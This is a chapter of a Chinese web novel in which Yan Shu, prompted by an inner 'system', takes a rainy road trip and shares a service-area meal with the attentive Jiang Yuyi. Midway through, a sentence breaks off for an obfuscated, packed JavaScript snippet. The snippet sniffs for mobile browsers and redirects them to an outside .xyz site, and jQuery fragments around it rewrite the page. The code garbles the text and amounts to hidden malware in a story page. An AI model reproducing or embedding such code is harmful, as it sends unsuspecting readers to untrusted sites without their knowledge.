周六，A大西门
【宿主，你就真的什么都不带？】系统焦灼得像热锅上的蚂蚁，围着严舒团团转。
严舒“嗯”了声，躲了躲旁边疾驰而过的小电驴。
系统叹气：【好吧。】
忽然，它大喊：【到了到了！】
严舒走出阴影地带，用力朝远处挥手。一脸黑色宾利打了转向灯，缓缓停下。
“哥！”车窗降下，严舒笑眯眯地凑前，“早上好！”
蒋余意笑了笑：“早，吃早餐没？”
严舒开了副驾的车门，一坐、一关，立刻系上安全带。
“吃了，哥吃了没？”
“嗯。”蒋余意点头，打转方向盘，“车里有水，渴了和我说。等很久了？”
“不久，我刚到。”
“是吗？”蒋余意看了他一眼，“我看你这么兴奋，以为你等累了。”
“不，是看到哥兴奋。”严舒嘴巴特别甜。
蒋余意点头：“还记得我的车牌？”
“记得，那次哥的秘书过来送东西，开的就是这辆车。”
蒋余意一怔：“你……碰上了？”
“刚好出门口买小吃，撞上车尾气了。”严舒调整了下座椅。
“不舒服吗？”蒋余意注意到后，直接问。
“我喜欢躺着。”严舒摆弄枕头。
“晕车？”
“不晕，纯懒。”
“那别调太下了，不安全。”
严舒疑惑：“为什么？”
前方路口出现红绿灯，蒋余意踩下刹车：
“虽然这么说有点不吉利，但是……”他顿了顿，含蓄道，“在危险里更危险。”
严舒眨眨眼：“哦哦，怕我车——”
“别说出来，知道就好。”蒋余意敲了下严舒额头，“避谶。”
严舒立刻抿住嘴巴，手做出锁拉链的举动，把蒋余意逗笑了，改为摸他的脑袋。
“嗯，没错。”
严舒正要说什么，耳边响起系统自豪的声音：【不会的，宿主，只要不是主角受崩碎空间，我在这里保你不死！】
它最后喊出了一种类似于“我是老大”的气势。
严舒耳膜被刺了下，像被针扎，不自觉皱眉。
蒋余意敏锐察觉，收回手：“抱歉，一下子没注意。”
严舒反应过来：“不是，我……”他停顿一下，撇了撇嘴，“我怕长不高。”
蒋余意瞬间笑了，刚才的凝滞破除，他无奈：“还想长啊？”
严舒挑眉：“男人不怕高，就怕不高。”
蒋余意心想：那倒未必。
“你已经很高了。”
严舒晃了下脑袋：“确实，比你高。”
蒋余意又乐了，附和：“对，你比我高。”
绿灯亮，车流缓缓往前。
车内的气氛沉寂了一会儿，蒋余意忽然问：“你不问问我带你去哪里？”
严舒打了个哈欠：“不是去周边农家乐吗？”
“地点不问问？”蒋余意想，这人心真大。
“去了就知道了。”
“这么信任我？”
“那我现在跳车吧。”严舒眼睛一闭，一幅任刀任剐的样子。
蒋余意笑了笑：“昨天很晚睡？”
“对。”
【宿主，你昨晚十一点准时睡觉的。】系统指出。
严舒：‘善意的谎言，我这人不擅长聊天。’
系统：【我看不像。】
严舒：‘那证明你不够了解我了。’
系统：【呵，你等着鼻子变长吧。】
严舒：‘……’这小玩意儿还挺正义的。
但严舒没有撒谎，确实没睡好。半夜醒了好几次，梦里的罪魁祸首是他那不省心的弟弟，不是闯祸了就是没钱了，特别烦人——
烦得他又梦到了妈妈。
妈妈……一声长长的叹息在严舒心里回转。
“那就睡吧，到了我叫你。”
一开始只是假寐，说实话，无论他怎么假装“年轻”，都放松不下来，反而很紧绷，脑子不自觉闪过很多画面。
但空调风口柔柔吹拂，座椅感受到发动机的轻微振动，像湖面一圈圈的波澜，严舒的意识渐渐沉入。
……
叮叮咚！叮咚！叮叮咚！叮咚！
严舒倏然惊醒。
“醒了？”蒋余意笑着看向严舒。
严舒起来，身上的毯子滑下去：“……到了？”他意识到自己声音的沙哑，清了清嗓子。
“喝点水。”蒋余意递了瓶矿泉水。
“谢谢。”严舒一边喝，一边环顾，“这里是……”
车外大雨磅礴，不断击打玻璃，远比梦里的叮叮咚咚激烈许多，无数水痕从车窗化开，天地仿佛笼罩在茫茫白雾里。
“服务区。”蒋余意解释，“刚才雨太大了，视野很差，为了安全我就近进了个服务区。”
严舒“嗯”了一声：“哥，你可以叫醒我的，两个人看路更好。”
蒋余意笑笑：“好，下次叫你。”
严舒真的渴了，半瓶矿泉水下去，浑身舒坦了不少。
“哥，你饿不饿？”
蒋余意看了眼时间，十一点多，他们开了快四个小时。
“饿了？”
严舒：“有点。”
蒋余意：“嗯，雨挺大的，下车吗？”其实车已经停这好一阵了，他没叫醒严舒，就是看雨大下不去，不如让对方继续睡觉。
“等一下吧。”严舒撑着脑袋，看向窗外，“好大雨。”
“嗯。”蒋余意顺着他的视线往外看。
严舒觉得应该活跃下气氛，但他刚醒过来昏沉沉的，心情莫名低落。
“不舒服吗？”蒋余意注意到男生脸色差，有点担心，“我摸摸你额头。”
“没有不舒服。”严舒嘴里这么说，但头还是歪过去了。
蒋余意一只手扶住严舒的后脑勺，另一只手用手背试温度。
“嗯……不烫，但怎么有点凉？”
严舒“啊”了声：“没吧，是哥的体温高。”他用额头戳了戳蒋余意的手背，“睡觉的体温是低一点。”
蒋余意低笑：“好了，和啄木鸟一样。”
“啄木鸟怎么了？你有意见？”严舒又戳了几下。
“没意见。”蒋余意嘴角微扬，“啄木鸟同学，啄完没？啄完我就松手了。”
严舒轻啧，心里嘀咕：你以为我想这样？
——傻白甜真难装，一不留神像个傻子。
“哦……”严舒慢吞吞地挪回窗边。
雨声噼里啪啦，两人都没有说话，车内一片寂静。
【宿主，主角受一直在看你哎。】系统悄无声息地贴上。
‘……’严舒平复了下心跳，‘下次出现打声招呼。’
系统委屈：【之前不都这样吗？】
‘那之后不这样。’
系统用彩色脑袋去撞严舒，显然很不满。
【主角受还在看。】
‘我知道。’
【那你给点反应？】
严舒瞥它一眼：‘我给什么反应？’
【增进感情的反应。】
‘你还懂这个？’
【当然，宿主多了，我也见多了。】系统还有些自豪，翘起兰花指，【手拿把掐！】
‘……’严舒真是开眼了。
系统不依不饶：【哎，宿主，主角受是不是有点喜欢你了？】
‘嗯，喜欢我的脸。’
【宿主，你真自恋。】
严舒：？
系统打了下嘴巴：【呸呸呸，喜欢得好，主角受太有眼光啦！】它谄媚地朝严舒笑：【不好意思，宿主，忘了我在工作，以为在空间看电影，口误口误。】
严舒感兴趣：‘你平时闲着就看电影？’
【对！】
‘日子挺滋润啊。’
系统挠脸：【劳逸结合。】
严舒没说什么了。
不知道是不是因为系统的提醒，他总觉得隔壁的目光愈发火热。
——兄弟，我知道我长得帅，但不用一直盯着吧。
严舒心里叹气，找好角度，转过头，直直对上蒋余意的眼睛。
蒋余意也没躲。
“我哪里不对吗？”严舒扯了下头发，“你怎么一直看我？”
“没有不对。”蒋余意语气平和，“本来是看外面的雨，发现你睫毛挺长的，没留神看进去了。”
嘶！严舒头皮发麻，哥们儿，这合适吗？哪个缺心眼的直男，听到这话会不怀疑？可能只有缺脑子才——
“我睫毛很长？真的？”他猛地凑过去，扒拉眼皮。
对，我就是那个缺脑子直男。严舒心里默念，给自己洗脑，增强信念感。
蒋余意微怔：“对，很长很浓密。”
严舒眨了眨眼睛：“我可能看习惯了，没感觉。”他又笑了，“其实我也不太关注这些。”
蒋余意微笑：“我可能观察人爱看细节。”
车外的雨势渐小。
严舒把毯子折了个角：“是不是可以出去了？”
“嗯。”蒋余意熄了火，“你脚边有个可拉开的——”
咔哒！严舒已经把里面的伞拿出来了，有两把。
蒋余意笑笑：“对，有伞。”
严舒先开了自己这边的车门，下去后绕到另一边的主驾位。
蒋余意失笑：“我还以为你要拿着我那把伞跑了。”
“哥，我有这么坏吗？”严舒微微弯腰，把伞撑在蒋余意头顶，“请。”
“谢谢。”蒋余意扶着严舒的手腕出来，“不坏，你是个好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438387|185002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男孩。”
“请把男孩换成男人。”
蒋余意挑眉：“男孩变成男人可不容易。”
严舒伸了下手臂：“我有健身的，你看。”
蒋余意按了下他的臂膀，轻笑：“肌肉不是男人的证明，被时间历练得强大的心才是。不过，锻炼是好事，继续加油。”
严舒一脸郁闷：“哦。”
可能是男人之间的胜负心，他难得有点真实的情绪掺杂其中。
蒋余意安慰：“你才二十，不着急。”
严舒心里纠正：错，我二十九。
“也是。”严舒点头，“哥比我大了一轮，肯定更成熟。”
蒋余意嘴角微僵，他决定收回夸对方嘴巴甜的话。
下雨天，服务区滞留了不少人，几乎每家店都是密密麻麻的黑影。
“想吃什么？”蒋余意问。
“面。”
“什么面？”
“都行。”
蒋余意看了他一眼：“不挑啊？”
严舒“嗯”了声：“不挑。”
“刚好有一家。”蒋余意抬了抬下巴，“吃吗？”
“吃，人不多，应该不用等很久。”
面馆一进去，就是浓浓的牛肉汤味。挂在最上面的电子屏幕，推荐的招牌就是一碗色香味俱全的番茄牛肉面。
桌子基本坐满了，严舒看了一圈，没找到两个人的位置。
【宿主，最右边的父女要走了！】系统忽然开口。
严舒眼疾手快，趁其他找座位的人没反应过来，一屁股坐了下去。
“哥，这里！”他扭头朝蒋余意招手。
蒋余意顿了顿，缓步走过去。
“怎么样，我厉害吧？”严舒笑眯眯地仰头。
蒋余意好笑：“厉害厉害。”
“哥，你不够真诚。”严舒摆弄手机，扫桌子上的二维码。
“那怎么才真诚？”蒋余意没有立刻坐下，反而示意服务员过来收桌子。
“我点好了。”严舒把手机递过去，“哥，你看看吃什么。”
蒋余意接过，滑了滑菜单，很快也点好了。
“等下我把——”
“不用，哥，我请。”严舒说，“上次我是生活费用完了，平时和朋友出门都是我请客。”
蒋余意笑笑：“行，谢谢。
严舒情绪高涨：“对了，这周末玩的费用我也包了！”
蒋余意有些意外：“你都不知道去哪就包了？”
“你现在和我说呗。”严舒放下手机，盯着蒋余意说。
“一个渔庄。”蒋余意微微挪开视线，“钓鱼、溯溪比较有意思，那边晚上的星星好看，我看了天气预报，可能有流星。”
他停了一下，又不经意地说：“你应该喜欢看星星吧？我看你朋友圈经常发。”
严舒一愣：“嗯，喜欢。”
【主角受真细心啊~】系统双手合十，枕头着脸，一脸陶醉地说，【和宿主一样细心~你们真配。】
严舒：‘……’
‘少看点电视剧。’
蒋余意微笑：“那我没选错。”
严舒心情稍许复杂，虽然爱看星星的不是他，但人家的体贴是给他的，这份好意他应该接受。
“185号？”服务员端着盘子过来。
“对。”严舒移开手臂让位置，“哥，你的蒸莲藕。”他把碟子推到蒋余意面前。
“谢谢。”蒋余意掀开盖子，发现上错了，是凉拌莲藕。
本来想叫回服务员，但发现严舒一直看这碟子。
蒋余意嘴角微扬，夹了一块吃：“味道不错。”他连着吃了好几块。
严舒爱吃醋，小时候基本是把醋当酱油吃的。
“这莲藕看着挺好吃的……”严舒点的是酸菜鱼片面，自己吃了几口，总感觉味道没对方带醋味的莲藕吸引人。
蒋余意扬眉：“哎，你要试试吗？”不等严舒说话，他又促狭地说：“早知道先给你夹了，现在我都夹了……”他打算逗完严舒，再点一盘给对方。
严舒：“……”他幽幽看向蒋余意。
很好，对听话的大学生这么狠心，那就——
“哥，我不嫌弃你的口水。”严舒一本正经地说。
这话说得……蒋余意没好气：“我嫌弃。”
但他看严舒眼巴巴的模样，想着筷子也没沾到嘴，便夹了一块莲藕递过去。
“真不嫌弃。”严舒这话说得更欠了。
蒋余意伸出的筷子转弯，作势要自己吃。
严舒眯了眯眼，直接起身把莲藕吃掉，然后得意地看着蒋余意，含糊说：“……晚了。”他故意龇牙展示，嚼得特别使劲。
蒋余意一顿，手慢慢放下，盯着那块莲藕和一开一合的唇瓣。
他没和严舒争辩，注意力随着那抹殷红消失。